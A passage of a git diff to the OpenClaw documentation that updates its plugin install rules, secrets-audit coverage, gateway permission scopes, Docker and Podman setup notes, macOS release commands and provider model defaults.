-45,8 +45,14 @@ openclaw plugins install --pin Security note: treat plugin installs like running code. Prefer pinned versions. -Npm specs are **registry-only** (package name + optional version/tag). Git/URL/file -specs are rejected. Dependency installs run with `--ignore-scripts` for safety. +Npm specs are **registry-only** (package name + optional **exact version** or +**dist-tag**). Git/URL/file specs and semver ranges are rejected. Dependency +installs run with `--ignore-scripts` for safety. + +Bare specs and `@latest` stay on the stable track. If npm resolves either of +those to a prerelease, OpenClaw stops and asks you to opt in explicitly with a +prerelease tag such as `@beta`/`@rc` or an exact prerelease version such as +`@1.2.3-beta.4`. If a bare install spec matches a bundled plugin id (for example `diffs`), OpenClaw installs the bundled plugin directly. To install an npm package with the same diff --git a/docs/cli/secrets.md b/docs/cli/secrets.md index db5e9476c55..f90a5de8ec0 100644 --- a/docs/cli/secrets.md +++ b/docs/cli/secrets.md @@ -14,7 +14,7 @@ Use `openclaw secrets` to manage SecretRefs and keep the active runtime snapshot Command roles: - `reload`: gateway RPC (`secrets.reload`) that re-resolves refs and swaps runtime snapshot only on full success (no config writes). -- `audit`: read-only scan of configuration/auth stores and legacy residues for plaintext, unresolved refs, and precedence drift. +- `audit`: read-only scan of configuration/auth/generated-model stores and legacy residues for plaintext, unresolved refs, and precedence drift. - `configure`: interactive planner for provider setup, target mapping, and preflight (TTY required). - `apply`: execute a saved plan (`--dry-run` for validation only), then scrub targeted plaintext residues. @@ -62,8 +62,13 @@ Scan OpenClaw state for: - plaintext secret storage - unresolved refs - precedence drift (`auth-profiles.json` credentials shadowing `openclaw.json` refs) +- generated `agents/*/agent/models.json` residues (provider `apiKey` values and sensitive provider headers) - legacy residues (legacy auth store entries, OAuth reminders) +Header residue note: + +- Sensitive provider header detection is name-heuristic based (common auth/credential header names and fragments such as `authorization`, `x-api-key`, `token`, `secret`, `password`, and `credential`). + ```bash openclaw secrets audit openclaw secrets audit --check diff --git a/docs/concepts/context.md b/docs/concepts/context.md index d7a16fa70fa..abc5e5af47c 100644 --- a/docs/concepts/context.md +++ b/docs/concepts/context.md @@ -153,6 +153,12 @@ What persists across messages depends on the mechanism: Docs: [Session](/concepts/session), [Compaction](/concepts/compaction), [Session pruning](/concepts/session-pruning). +By default, OpenClaw uses the built-in `legacy` context engine for assembly and +compaction. If you install a plugin that provides `kind: "context-engine"` and +select it with `plugins.slots.contextEngine`, OpenClaw delegates context +assembly, `/compact`, and related subagent context lifecycle hooks to that +engine instead. + ## What `/context` actually reports `/context` prefers the latest **run-built** system prompt report when available: diff --git a/docs/concepts/models.md b/docs/concepts/models.md index 981bd95086c..2ad809d9599 100644 --- a/docs/concepts/models.md +++ b/docs/concepts/models.md @@ -212,6 +212,10 @@ is merged by default unless `models.mode` is set to `replace`. Merge mode precedence for matching provider IDs: -- Non-empty `apiKey`/`baseUrl` already present in the agent `models.json` win. +- Non-empty `baseUrl` already present in the agent `models.json` wins. +- Non-empty `apiKey` in the agent `models.json` wins only when that provider is not SecretRef-managed in current config/auth-profile context. +- SecretRef-managed provider `apiKey` values are refreshed from source markers (`ENV_VAR_NAME` for env refs, `secretref-managed` for file/exec refs) instead of persisting resolved secrets. - Empty or missing agent `apiKey`/`baseUrl` fall back to config `models.providers`. - Other provider fields are refreshed from config and normalized catalog data. + +This marker-based persistence applies whenever OpenClaw regenerates `models.json`, including command-driven paths like `openclaw agent`. diff --git a/docs/experiments/onboarding-config-protocol.md b/docs/experiments/onboarding-config-protocol.md index 424f7726e20..9427d47b7f6 100644 --- a/docs/experiments/onboarding-config-protocol.md +++ b/docs/experiments/onboarding-config-protocol.md @@ -24,6 +24,7 @@ Purpose: shared onboarding + config surfaces across CLI, macOS app, and Web UI. - `wizard.status` params: `{ sessionId }` - `config.schema` params: `{}` - `config.schema.lookup` params: `{ path }` + - `path` accepts standard config segments plus slash-delimited plugin ids, for example `plugins.entries.pack/one.config`. Responses (shape) diff --git a/docs/gateway/configuration-reference.md b/docs/gateway/configuration-reference.md index bd4406718d9..e39d7777599 100644 --- a/docs/gateway/configuration-reference.md +++ b/docs/gateway/configuration-reference.md @@ -183,7 +183,7 @@ WhatsApp runs through the gateway's web channel (Baileys Web). It starts automat streaming: "partial", // off | partial | block | progress (default: off) actions: { reactions: true, sendMessage: true }, reactionNotifications: "own", // off | own | all - mediaMaxMb: 5, + mediaMaxMb: 100, retry: { attempts: 3, minDelayMs: 400, @@ -745,7 +745,7 @@ Include your own number in `allowFrom` to enable self-chat mode (ignores native - Override per channel: `channels.discord.commands.native` (bool or `"auto"`). `false` clears previously registered commands. - `channels.telegram.customCommands` adds extra Telegram bot menu entries. - `bash: true` enables `! ` for host shell. Requires `tools.elevated.enabled` and sender in `tools.elevated.allowFrom.`. -- `config: true` enables `/config` (reads/writes `openclaw.json`). +- `config: true` enables `/config` (reads/writes `openclaw.json`). For gateway `chat.send` clients, persistent `/config set|unset` writes also require `operator.admin`; read-only `/config show` stays available to normal write-scoped operator clients. - `channels..configWrites` gates config mutations per channel (default: true). - `allowFrom` is per-provider. When set, it is the **only** authorization source (channel allowlists/pairing and `useAccessGroups` are ignored). - `useAccessGroups: false` allows commands to bypass access-group policies when `allowFrom` is not set. @@ -1003,6 +1003,7 @@ Periodic heartbeat runs. reserveTokensFloor: 24000, identifierPolicy: "strict", // strict | off | custom identifierInstructions: "Preserve deployment IDs, ticket IDs, and host:port pairs exactly.", // used when identifierPolicy=custom + postCompactionSections: ["Session Startup", "Red Lines"], // [] disables reinjection memoryFlush: { enabled: true, softThresholdTokens: 6000, @@ -1018,6 +1019,7 @@ Periodic heartbeat runs. - `mode`: `default` or `safeguard` (chunked summarization for long histories). See [Compaction](/concepts/compaction). - `identifierPolicy`: `strict` (default), `off`, or `custom`. `strict` prepends built-in opaque identifier retention guidance during compaction summarization. - `identifierInstructions`: optional custom identifier-preservation text used when `identifierPolicy=custom`. +- `postCompactionSections`: optional AGENTS.md H2/H3 section names to re-inject after compaction. Defaults to `["Session Startup", "Red Lines"]`; set `[]` to disable reinjection. When unset or explicitly set to that default pair, older `Every Session`/`Safety` headings are also accepted as a legacy fallback. - `memoryFlush`: silent agentic turn before auto-compaction to store durable memories. Skipped when workspace is read-only. ### `agents.defaults.contextPruning` @@ -1674,7 +1676,7 @@ Defaults for Talk mode (macOS/iOS/Android). `tools.profile` sets a base allowlist before `tools.allow`/`tools.deny`: -Local onboarding defaults new local configs to `tools.profile: "messaging"` when unset (existing explicit profiles are preserved). +Local onboarding defaults new local configs to `tools.profile: "coding"` when unset (existing explicit profiles are preserved). | Profile | Includes | | ----------- | ----------------------------------------------------------------------------------------- | @@ -2002,7 +2004,9 @@ OpenClaw uses the pi-coding-agent model catalog. Add custom providers via `model - Use `authHeader: true` + `headers` for custom auth needs. - Override agent config root with `OPENCLAW_AGENT_DIR` (or `PI_CODING_AGENT_DIR`). - Merge precedence for matching provider IDs: - - Non-empty agent `models.json` `apiKey`/`baseUrl` win. + - Non-empty agent `models.json` `baseUrl` values win. + - Non-empty agent `apiKey` values win only when that provider is not SecretRef-managed in current config/auth-profile context. + - SecretRef-managed provider `apiKey` values are refreshed from source markers (`ENV_VAR_NAME` for env refs, `secretref-managed` for file/exec refs) instead of persisting resolved secrets. - Empty or missing agent `apiKey`/`baseUrl` fall back to `models.providers` in config. - Matching model `contextWindow`/`maxTokens` use the higher value between explicit config and implicit catalog values. - Use `models.mode: "replace"` when you want config to fully rewrite `models.json`. @@ -2313,6 +2317,7 @@ See [Local Models](/gateway/local-models). TL;DR: run MiniMax M2.5 via LM Studio - `plugins.entries..hooks.allowPromptInjection`: when `false`, core blocks `before_prompt_build` and ignores prompt-mutating fields from legacy `before_agent_start`, while preserving legacy `modelOverride` and `providerOverride`. - `plugins.entries..config`: plugin-defined config object (validated by plugin schema). - `plugins.slots.memory`: pick the active memory plugin id, or `"none"` to disable memory plugins. +- `plugins.slots.contextEngine`: pick the active context engine plugin id; defaults to `"legacy"` unless you install and select another engine. - `plugins.installs`: CLI-managed install metadata used by `openclaw plugins update`. - Includes `source`, `spec`, `sourcePath`, `installPath`, `version`, `resolvedName`, `resolvedVersion`, `resolvedSpec`, `integrity`, `shasum`, `resolvedAt`, `installedAt`. - Treat `plugins.installs.*` as managed state; prefer CLI commands over manual edits. diff --git a/docs/gateway/openai-http-api.md b/docs/gateway/openai-http-api.md index 0d8353d8c79..722b3fdf706 100644 --- a/docs/gateway/openai-http-api.md +++ b/docs/gateway/openai-http-api.md @@ -35,6 +35,7 @@ Treat this endpoint as a **full operator-access** surface for the gateway instan - HTTP bearer auth here is not a narrow per-user scope model. - A valid Gateway token/password for this endpoint should be treated like an owner/operator credential. - Requests run through the same control-plane agent path as trusted operator actions. +- There is no separate non-owner/per-user tool boundary on this endpoint; once a caller passes Gateway auth here, OpenClaw treats that caller as a trusted operator for this gateway. - If the target agent policy allows sensitive tools, this endpoint can use them. - Keep this endpoint on loopback/tailnet/private ingress only; do not expose it directly to the public internet. diff --git a/docs/gateway/openresponses-http-api.md b/docs/gateway/openresponses-http-api.md index d62cc8edb59..bcba166db9d 100644 --- a/docs/gateway/openresponses-http-api.md +++ b/docs/gateway/openresponses-http-api.md @@ -37,6 +37,7 @@ Treat this endpoint as a **full operator-access** surface for the gateway instan - HTTP bearer auth here is not a narrow per-user scope model. - A valid Gateway token/password for this endpoint should be treated like an owner/operator credential. - Requests run through the same control-plane agent path as trusted operator actions. +- There is no separate non-owner/per-user tool boundary on this endpoint; once a caller passes Gateway auth here, OpenClaw treats that caller as a trusted operator for this gateway. - If the target agent policy allows sensitive tools, this endpoint can use them. - Keep this endpoint on loopback/tailnet/private ingress only; do not expose it directly to the public internet. @@ -161,7 +162,7 @@ Supports base64 or URL sources: } ``` -Allowed MIME types (current): `image/jpeg`, `image/png`, `image/gif`, `image/webp`. +Allowed MIME types (current): `image/jpeg`, `image/png`, `image/gif`, `image/webp`, `image/heic`, `image/heif`. Max size (current): 10MB. ## Files (`input_file`) @@ -242,7 +243,14 @@ Defaults can be tuned under `gateway.http.endpoints.responses`: images: { allowUrl: true, urlAllowlist: ["images.example.com"], - allowedMimes: ["image/jpeg", "image/png", "image/gif", "image/webp"], + allowedMimes: [ + "image/jpeg", + "image/png", + "image/gif", + "image/webp", + "image/heic", + "image/heif", + ], maxBytes: 10485760, maxRedirects: 3, timeoutMs: 10000, @@ -268,6 +276,7 @@ Defaults when omitted: - `images.maxBytes`: 10MB - `images.maxRedirects`: 3 - `images.timeoutMs`: 10s +- HEIC/HEIF `input_image` sources are accepted and normalized to JPEG before provider delivery. Security note: diff --git a/docs/gateway/protocol.md b/docs/gateway/protocol.md index fe0ddb3f052..62a5adb1fef 100644 --- a/docs/gateway/protocol.md +++ b/docs/gateway/protocol.md @@ -149,6 +149,10 @@ Common scopes: - `operator.approvals` - `operator.pairing` +Method scope is only the first gate. Some slash commands reached through +`chat.send` apply stricter command-level checks on top. For example, persistent +`/config set` and `/config unset` writes require `operator.admin`. + ### Caps/commands/permissions (node) Nodes declare capability claims at connect time: diff --git a/docs/gateway/secrets.md b/docs/gateway/secrets.md index db4be160cd7..3ef08267618 100644 --- a/docs/gateway/secrets.md +++ b/docs/gateway/secrets.md @@ -179,8 +179,8 @@ Request payload (stdin): Response payload (stdout): -```json -{ "protocolVersion": 1, "values": { "providers/openai/apiKey": "sk-..." } } +```jsonc +{ "protocolVersion": 1, "values": { "providers/openai/apiKey": "" } } // pragma: allowlist secret ``` Optional per-id errors: @@ -372,11 +372,16 @@ openclaw secrets audit --check Findings include: -- plaintext values at rest (`openclaw.json`, `auth-profiles.json`, `.env`) +- plaintext values at rest (`openclaw.json`, `auth-profiles.json`, `.env`, and generated `agents/*/agent/models.json`) +- plaintext sensitive provider header residues in generated `models.json` entries - unresolved refs - precedence shadowing (`auth-profiles.json` taking priority over `openclaw.json` refs) - legacy residues (`auth.json`, OAuth reminders) +Header residue note: + +- Sensitive provider header detection is name-heuristic based (common auth/credential header names and fragments such as `authorization`, `x-api-key`, `token`, `secret`, `password`, and `credential`). + ### `secrets configure` Interactive helper that: diff --git a/docs/gateway/security/index.md b/docs/gateway/security/index.md index 4792b20c891..c62b77352e8 100644 --- a/docs/gateway/security/index.md +++ b/docs/gateway/security/index.md @@ -1158,19 +1158,22 @@ If your AI does something bad: ## Secret Scanning (detect-secrets) -CI runs `detect-secrets scan --baseline .secrets.baseline` in the `secrets` job. -If it fails, there are new candidates not yet in the baseline. +CI runs the `detect-secrets` pre-commit hook in the `secrets` job. +Pushes to `main` always run an all-files scan. Pull requests use a changed-file +fast path when a base commit is available, and fall back to an all-files scan +otherwise. If it fails, there are new candidates not yet in the baseline. ### If CI fails 1. Reproduce locally: ```bash - detect-secrets scan --baseline .secrets.baseline + pre-commit run --all-files detect-secrets ``` 2. Understand the tools: - - `detect-secrets scan` finds candidates and compares them to the baseline. + - `detect-secrets` in pre-commit runs `detect-secrets-hook` with the repo's + baseline and excludes. - `detect-secrets audit` opens an interactive review to mark each baseline item as real or false positive. 3. For real secrets: rotate/remove them, then re-run the scan to update the baseline. diff --git a/docs/help/faq.md b/docs/help/faq.md index 2ae55caf0c3..65a580dd965 100644 --- a/docs/help/faq.md +++ b/docs/help/faq.md @@ -2503,7 +2503,7 @@ Your gateway is running with auth enabled (`gateway.auth.*`), but the UI is not Facts (from code): -- The Control UI stores the token in browser localStorage key `openclaw.control.settings.v1`. +- The Control UI keeps the token in memory for the current tab; it no longer persists gateway tokens in browser localStorage. Fix: diff --git a/docs/index.md b/docs/index.md index 606ff4828e5..2821cb1c84f 100644 --- a/docs/index.md +++ b/docs/index.md @@ -124,7 +124,7 @@ Open the browser Control UI after the Gateway starts. - Remote access: [Web surfaces](/web) and [Tailscale](/gateway/tailscale)

- OpenClaw + OpenClaw

## Configuration (optional) diff --git a/docs/install/docker.md b/docs/install/docker.md index 0b618137650..b3d3daf798d 100644 --- a/docs/install/docker.md +++ b/docs/install/docker.md @@ -60,6 +60,7 @@ Optional env vars: - `OPENCLAW_IMAGE` — use a remote image instead of building locally (e.g. `ghcr.io/openclaw/openclaw:latest`) - `OPENCLAW_DOCKER_APT_PACKAGES` — install extra apt packages during build +- `OPENCLAW_EXTENSIONS` — pre-install extension dependencies at build time (space-separated extension names, e.g. `diagnostics-otel matrix`) - `OPENCLAW_EXTRA_MOUNTS` — add extra host bind mounts - `OPENCLAW_HOME_VOLUME` — persist `/home/node` in a named volume - `OPENCLAW_SANDBOX` — opt in to Docker gateway sandbox bootstrap. Only explicit truthy values enable it: `1`, `true`, `yes`, `on` @@ -169,7 +170,7 @@ The main Docker image currently uses: The docker image now publishes OCI base-image annotations (sha256 is an example): - `org.opencontainers.image.base.name=docker.io/library/node:22-bookworm` -- `org.opencontainers.image.base.digest=sha256:cd7bcd2e7a1e6f72052feb023c7f6b722205d3fcab7bbcbd2d1bfdab10b1e935` +- `org.opencontainers.image.base.digest=sha256:6d735b4d33660225271fda0a412802746658c3a1b975507b2803ed299609760a` - `org.opencontainers.image.source=https://github.com/openclaw/openclaw` - `org.opencontainers.image.url=https://openclaw.ai` - `org.opencontainers.image.documentation=https://docs.openclaw.ai/install/docker` @@ -320,6 +321,31 @@ Notes: - If you change `OPENCLAW_DOCKER_APT_PACKAGES`, rerun `docker-setup.sh` to rebuild the image. +### Pre-install extension dependencies (optional) + +Extensions with their own `package.json` (e.g. `diagnostics-otel`, `matrix`, +`msteams`) install their npm dependencies on first load. To bake those +dependencies into the image instead, set `OPENCLAW_EXTENSIONS` before +running `docker-setup.sh`: + +```bash +export OPENCLAW_EXTENSIONS="diagnostics-otel matrix" +./docker-setup.sh +``` + +Or when building directly: + +```bash +docker build --build-arg OPENCLAW_EXTENSIONS="diagnostics-otel matrix" . +``` + +Notes: + +- This accepts a space-separated list of extension directory names (under `extensions/`). +- Only extensions with a `package.json` are affected; lightweight plugins without one are ignored. +- If you change `OPENCLAW_EXTENSIONS`, rerun `docker-setup.sh` to rebuild + the image. + ### Power-user / full-featured container (opt-in) The default Docker image is **security-first** and runs as the non-root `node` @@ -450,6 +476,10 @@ curl -fsS http://127.0.0.1:18789/readyz Aliases: `/health` and `/ready`. +`/healthz` is a shallow liveness probe for "the gateway process is up". +`/readyz` stays ready during startup grace, then becomes `503` only if required +managed channels are still disconnected after grace or disconnect later. + The Docker image includes a built-in `HEALTHCHECK` that pings `/healthz` in the background. In plain terms: Docker keeps checking if OpenClaw is still responsive. If checks keep failing, Docker marks the container as `unhealthy`, @@ -505,6 +535,12 @@ docker compose run --rm openclaw-cli devices list --url ws://127.0.0.1:18789 - Dockerfile CMD uses `--allow-unconfigured`; mounted config with `gateway.mode` not `local` will still start. Override CMD to enforce the guard. - The gateway container is the source of truth for sessions (`~/.openclaw/agents//sessions/`). +### Storage model + +- **Persistent host data:** Docker Compose bind-mounts `OPENCLAW_CONFIG_DIR` to `/home/node/.openclaw` and `OPENCLAW_WORKSPACE_DIR` to `/home/node/.openclaw/workspace`, so those paths survive container replacement. +- **Ephemeral sandbox tmpfs:** when `agents.defaults.sandbox` is enabled, the sandbox containers use `tmpfs` for `/tmp`, `/var/tmp`, and `/run`. Those mounts are separate from the top-level Compose stack and disappear with the sandbox container. +- **Disk growth hotspots:** watch `media/`, `agents//sessions/sessions.json`, transcript JSONL files, `cron/runs/*.jsonl`, and rolling file logs under `/tmp/openclaw/` (or your configured `logging.file`). If you also run the macOS app outside Docker, its service logs are separate again: `~/.openclaw/logs/gateway.log`, `~/.openclaw/logs/gateway.err.log`, and `/tmp/openclaw/openclaw-gateway.log`. + ## Agent Sandbox (host gateway + Docker tools) Deep dive: [Sandboxing](/gateway/sandboxing) diff --git a/docs/install/podman.md b/docs/install/podman.md index 707fdd3a106..888bbc904b9 100644 --- a/docs/install/podman.md +++ b/docs/install/podman.md @@ -32,6 +32,11 @@ By default the container is **not** installed as a systemd service, you start it (Or set `OPENCLAW_PODMAN_QUADLET=1`; use `--container` to install only the container and launch script.) +Optional build-time env vars (set before running `setup-podman.sh`): + +- `OPENCLAW_DOCKER_APT_PACKAGES` — install extra apt packages during image build +- `OPENCLAW_EXTENSIONS` — pre-install extension dependencies (space-separated extension names, e.g. `diagnostics-otel matrix`) + **2. Start gateway** (manual, for quick smoke testing): ```bash @@ -88,6 +93,14 @@ To add quadlet **after** an initial setup that did not use it, re-run: `./setup- - **Gateway bind:** By default, `run-openclaw-podman.sh` starts the gateway with `--bind loopback` for safe local access. To expose on LAN, set `OPENCLAW_GATEWAY_BIND=lan` and configure `gateway.controlUi.allowedOrigins` (or explicitly enable host-header fallback) in `openclaw.json`. - **Paths:** Host config and workspace default to `~openclaw/.openclaw` and `~openclaw/.openclaw/workspace`. Override the host paths used by the launch script with `OPENCLAW_CONFIG_DIR` and `OPENCLAW_WORKSPACE_DIR`. +## Storage model + +- **Persistent host data:** `OPENCLAW_CONFIG_DIR` and `OPENCLAW_WORKSPACE_DIR` are bind-mounted into the container and retain state on the host. +- **Ephemeral sandbox tmpfs:** if you enable `agents.defaults.sandbox`, the tool sandbox containers mount `tmpfs` at `/tmp`, `/var/tmp`, and `/run`. Those paths are memory-backed and disappear with the sandbox container; the top-level Podman container setup does not add its own tmpfs mounts. +- **Disk growth hotspots:** the main paths to watch are `media/`, `agents//sessions/sessions.json`, transcript JSONL files, `cron/runs/*.jsonl`, and rolling file logs under `/tmp/openclaw/` (or your configured `logging.file`). + +`setup-podman.sh` now stages the image tar in a private temp directory and prints the chosen base dir during setup. For non-root runs it accepts `TMPDIR` only when that base is safe to use; otherwise it falls back to `/var/tmp`, then `/tmp`. The saved tar stays owner-only and is streamed into the target user’s `podman load`, so private caller temp dirs do not block setup. + ## Useful commands - **Logs:** With quadlet: `sudo journalctl --machine openclaw@ --user -u openclaw.service -f`. With script: `sudo -u openclaw podman logs -f openclaw` diff --git a/docs/ja-JP/index.md b/docs/ja-JP/index.md index 63d83d74ab2..a47280c8dc2 100644 --- a/docs/ja-JP/index.md +++ b/docs/ja-JP/index.md @@ -118,7 +118,7 @@ Gatewayの起動後、ブラウザでControl UIを開きます。 - リモートアクセス: [Webサーフェス](/web)および[Tailscale](/gateway/tailscale)

- OpenClaw + OpenClaw

## 設定(オプション) diff --git a/docs/platforms/mac/release.md b/docs/platforms/mac/release.md index a71e2e8fe5e..597ce2d2570 100644 --- a/docs/platforms/mac/release.md +++ b/docs/platforms/mac/release.md @@ -37,16 +37,16 @@ Notes: # APP_BUILD must be numeric + monotonic for Sparkle compare. # Default is auto-derived from APP_VERSION when omitted. BUNDLE_ID=ai.openclaw.mac \ -APP_VERSION=2026.3.2 \ +APP_VERSION=2026.3.7 \ BUILD_CONFIG=release \ SIGN_IDENTITY="Developer ID Application: ()" \ scripts/package-mac-app.sh # Zip for distribution (includes resource forks for Sparkle delta support) -ditto -c -k --sequesterRsrc --keepParent dist/OpenClaw.app dist/OpenClaw-2026.3.2.zip +ditto -c -k --sequesterRsrc --keepParent dist/OpenClaw.app dist/OpenClaw-2026.3.7.zip # Optional: also build a styled DMG for humans (drag to /Applications) -scripts/create-dmg.sh dist/OpenClaw.app dist/OpenClaw-2026.3.2.dmg +scripts/create-dmg.sh dist/OpenClaw.app dist/OpenClaw-2026.3.7.dmg # Recommended: build + notarize/staple zip + DMG # First, create a keychain profile once: @@ -54,13 +54,13 @@ scripts/create-dmg.sh dist/OpenClaw.app dist/OpenClaw-2026.3.2.dmg # --apple-id "" --team-id "" --password "" NOTARIZE=1 NOTARYTOOL_PROFILE=openclaw-notary \ BUNDLE_ID=ai.openclaw.mac \ -APP_VERSION=2026.3.2 \ +APP_VERSION=2026.3.7 \ BUILD_CONFIG=release \ SIGN_IDENTITY="Developer ID Application: ()" \ scripts/package-mac-dist.sh # Optional: ship dSYM alongside the release -ditto -c -k --keepParent apps/macos/.build/release/OpenClaw.app.dSYM dist/OpenClaw-2026.3.2.dSYM.zip +ditto -c -k --keepParent apps/macos/.build/release/OpenClaw.app.dSYM dist/OpenClaw-2026.3.7.dSYM.zip ``` ## Appcast entry @@ -68,7 +68,7 @@ ditto -c -k --keepParent apps/macos/.build/release/OpenClaw.app.dSYM dist/OpenCl Use the release note generator so Sparkle renders formatted HTML notes: ```bash -SPARKLE_PRIVATE_KEY_FILE=/path/to/ed25519-private-key scripts/make_appcast.sh dist/OpenClaw-2026.3.2.zip https://raw.githubusercontent.com/openclaw/openclaw/main/appcast.xml +SPARKLE_PRIVATE_KEY_FILE=/path/to/ed25519-private-key scripts/make_appcast.sh dist/OpenClaw-2026.3.7.zip https://raw.githubusercontent.com/openclaw/openclaw/main/appcast.xml ``` Generates HTML release notes from `CHANGELOG.md` (via [`scripts/changelog-to-html.sh`](https://github.com/openclaw/openclaw/blob/main/scripts/changelog-to-html.sh)) and embeds them in the appcast entry. @@ -76,7 +76,7 @@ Commit the updated `appcast.xml` alongside the release assets (zip + dSYM) when ## Publish & verify -- Upload `OpenClaw-2026.3.2.zip` (and `OpenClaw-2026.3.2.dSYM.zip`) to the GitHub release for tag `v2026.3.2`. +- Upload `OpenClaw-2026.3.7.zip` (and `OpenClaw-2026.3.7.dSYM.zip`) to the GitHub release for tag `v2026.3.7`. - Ensure the raw appcast URL matches the baked feed: `https://raw.githubusercontent.com/openclaw/openclaw/main/appcast.xml`. - Sanity checks: - `curl -I https://raw.githubusercontent.com/openclaw/openclaw/main/appcast.xml` returns 200. diff --git a/docs/platforms/raspberry-pi.md b/docs/platforms/raspberry-pi.md index 79c9c34fd0d..e46076e869d 100644 --- a/docs/platforms/raspberry-pi.md +++ b/docs/platforms/raspberry-pi.md @@ -197,7 +197,7 @@ See [Pi USB boot guide](https://www.raspberrypi.com/documentation/computers/rasp On lower-power Pi hosts, enable Node's module compile cache so repeated CLI runs are faster: ```bash -grep -q 'NODE_COMPILE_CACHE=/var/tmp/openclaw-compile-cache' ~/.bashrc || cat >> ~/.bashrc <<'EOF' +grep -q 'NODE_COMPILE_CACHE=/var/tmp/openclaw-compile-cache' ~/.bashrc || cat >> ~/.bashrc <<'EOF' # pragma: allowlist secret export NODE_COMPILE_CACHE=/var/tmp/openclaw-compile-cache mkdir -p /var/tmp/openclaw-compile-cache export OPENCLAW_NO_RESPAWN=1 diff --git a/docs/plugins/manifest.md b/docs/plugins/manifest.md index 77fc543a643..d23f036880a 100644 --- a/docs/plugins/manifest.md +++ b/docs/plugins/manifest.md @@ -35,7 +35,7 @@ Required keys: Optional keys: -- `kind` (string): plugin kind (example: `"memory"`). +- `kind` (string): plugin kind (examples: `"memory"`, `"context-engine"`). - `channels` (array): channel ids registered by this plugin (example: `["matrix"]`). - `providers` (array): provider ids registered by this plugin. - `skills` (array): skill directories to load (relative to the plugin root). @@ -66,6 +66,10 @@ Optional keys: - The manifest is **required for all plugins**, including local filesystem loads. - Runtime still loads the plugin module separately; the manifest is only for discovery + validation. +- Exclusive plugin kinds are selected through `plugins.slots.*`. + - `kind: "memory"` is selected by `plugins.slots.memory`. + - `kind: "context-engine"` is selected by `plugins.slots.contextEngine` + (default: built-in `legacy`). - If your plugin depends on native modules, document the build steps and any package-manager allowlist requirements (for example, pnpm `allow-build-scripts` - `pnpm rebuild `). diff --git a/docs/providers/kilocode.md b/docs/providers/kilocode.md index 146e22932c4..15f8e4c2b7c 100644 --- a/docs/providers/kilocode.md +++ b/docs/providers/kilocode.md @@ -25,40 +25,49 @@ openclaw onboard --kilocode-api-key Or set the environment variable: ```bash -export KILOCODE_API_KEY="your-api-key" +export KILOCODE_API_KEY="" # pragma: allowlist secret ``` ## Config snippet ```json5 { - env: { KILOCODE_API_KEY: "sk-..." }, + env: { KILOCODE_API_KEY: "" }, // pragma: allowlist secret agents: { defaults: { - model: { primary: "kilocode/anthropic/claude-opus-4.6" }, + model: { primary: "kilocode/kilo/auto" }, }, }, } ``` -## Surfaced model refs +## Default model -The built-in Kilo Gateway catalog currently surfaces these model refs: +The default model is `kilocode/kilo/auto`, a smart routing model that automatically selects +the best underlying model based on the task: -- `kilocode/anthropic/claude-opus-4.6` (default) -- `kilocode/z-ai/glm-5:free` -- `kilocode/minimax/minimax-m2.5:free` -- `kilocode/anthropic/claude-sonnet-4.5` -- `kilocode/openai/gpt-5.2` -- `kilocode/google/gemini-3-pro-preview` -- `kilocode/google/gemini-3-flash-preview` -- `kilocode/x-ai/grok-code-fast-1` -- `kilocode/moonshotai/kimi-k2.5` +- Planning, debugging, and orchestration tasks route to Claude Opus +- Code writing and exploration tasks route to Claude Sonnet + +## Available models + +OpenClaw dynamically discovers available models from the Kilo Gateway at startup. Use +`/models kilocode` to see the full list of models available with your account. + +Any model available on the gateway can be used with the `kilocode/` prefix: + +``` +kilocode/kilo/auto (default - smart routing) +kilocode/anthropic/claude-sonnet-4 +kilocode/openai/gpt-5.2 +kilocode/google/gemini-3-pro-preview +...and many more +``` ## Notes -- Model refs are `kilocode//` (e.g., `kilocode/anthropic/claude-opus-4.6`). -- Default model: `kilocode/anthropic/claude-opus-4.6` +- Model refs are `kilocode/` (e.g., `kilocode/anthropic/claude-sonnet-4`). +- Default model: `kilocode/kilo/auto` - Base URL: `https://api.kilo.ai/api/gateway/` - For more model/provider options, see [/concepts/model-providers](/concepts/model-providers). - Kilo Gateway uses a Bearer token with your API key under the hood. diff --git a/docs/providers/venice.md b/docs/providers/venice.md index 6517e9909b2..520cf22d82b 100644 --- a/docs/providers/venice.md +++ b/docs/providers/venice.md @@ -23,16 +23,16 @@ Venice AI provides privacy-focused AI inference with support for uncensored mode Venice offers two privacy levels — understanding this is key to choosing your model: -| Mode | Description | Models | -| -------------- | -------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | -| **Private** | Fully private. Prompts/responses are **never stored or logged**. Ephemeral. | Llama, Qwen, DeepSeek, Venice Uncensored, etc. | -| **Anonymized** | Proxied through Venice with metadata stripped. The underlying provider (OpenAI, Anthropic) sees anonymized requests. | Claude, GPT, Gemini, Grok, Kimi, MiniMax | +| Mode | Description | Models | +| -------------- | --------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------- | +| **Private** | Fully private. Prompts/responses are **never stored or logged**. Ephemeral. | Llama, Qwen, DeepSeek, Kimi, MiniMax, Venice Uncensored, etc. | +| **Anonymized** | Proxied through Venice with metadata stripped. The underlying provider (OpenAI, Anthropic, Google, xAI) sees anonymized requests. | Claude, GPT, Gemini, Grok | ## Features - **Privacy-focused**: Choose between "private" (fully private) and "anonymized" (proxied) modes - **Uncensored models**: Access to models without content restrictions -- **Major model access**: Use Claude, GPT-5.2, Gemini, Grok via Venice's anonymized proxy +- **Major model access**: Use Claude, GPT, Gemini, and Grok via Venice's anonymized proxy - **OpenAI-compatible API**: Standard `/v1` endpoints for easy integration - **Streaming**: ✅ Supported on all models - **Function calling**: ✅ Supported on select models (check model capabilities) @@ -79,23 +79,23 @@ openclaw onboard --non-interactive \ ### 3. Verify Setup ```bash -openclaw agent --model venice/llama-3.3-70b --message "Hello, are you working?" +openclaw agent --model venice/kimi-k2-5 --message "Hello, are you working?" ``` ## Model Selection After setup, OpenClaw shows all available Venice models. Pick based on your needs: -- **Default model**: `venice/llama-3.3-70b` for private, balanced performance. -- **High-capability option**: `venice/claude-opus-45` for hard jobs. +- **Default model**: `venice/kimi-k2-5` for strong private reasoning plus vision. +- **High-capability option**: `venice/claude-opus-4-6` for the strongest anonymized Venice path. - **Privacy**: Choose "private" models for fully private inference. - **Capability**: Choose "anonymized" models to access Claude, GPT, Gemini via Venice's proxy. Change your default model anytime: ```bash -openclaw models set venice/claude-opus-45 -openclaw models set venice/llama-3.3-70b +openclaw models set venice/kimi-k2-5 +openclaw models set venice/claude-opus-4-6 ``` List all available models: @@ -112,53 +112,68 @@ openclaw models list | grep venice ## Which Model Should I Use? -| Use Case | Recommended Model | Why | -| ---------------------------- | -------------------------------- | 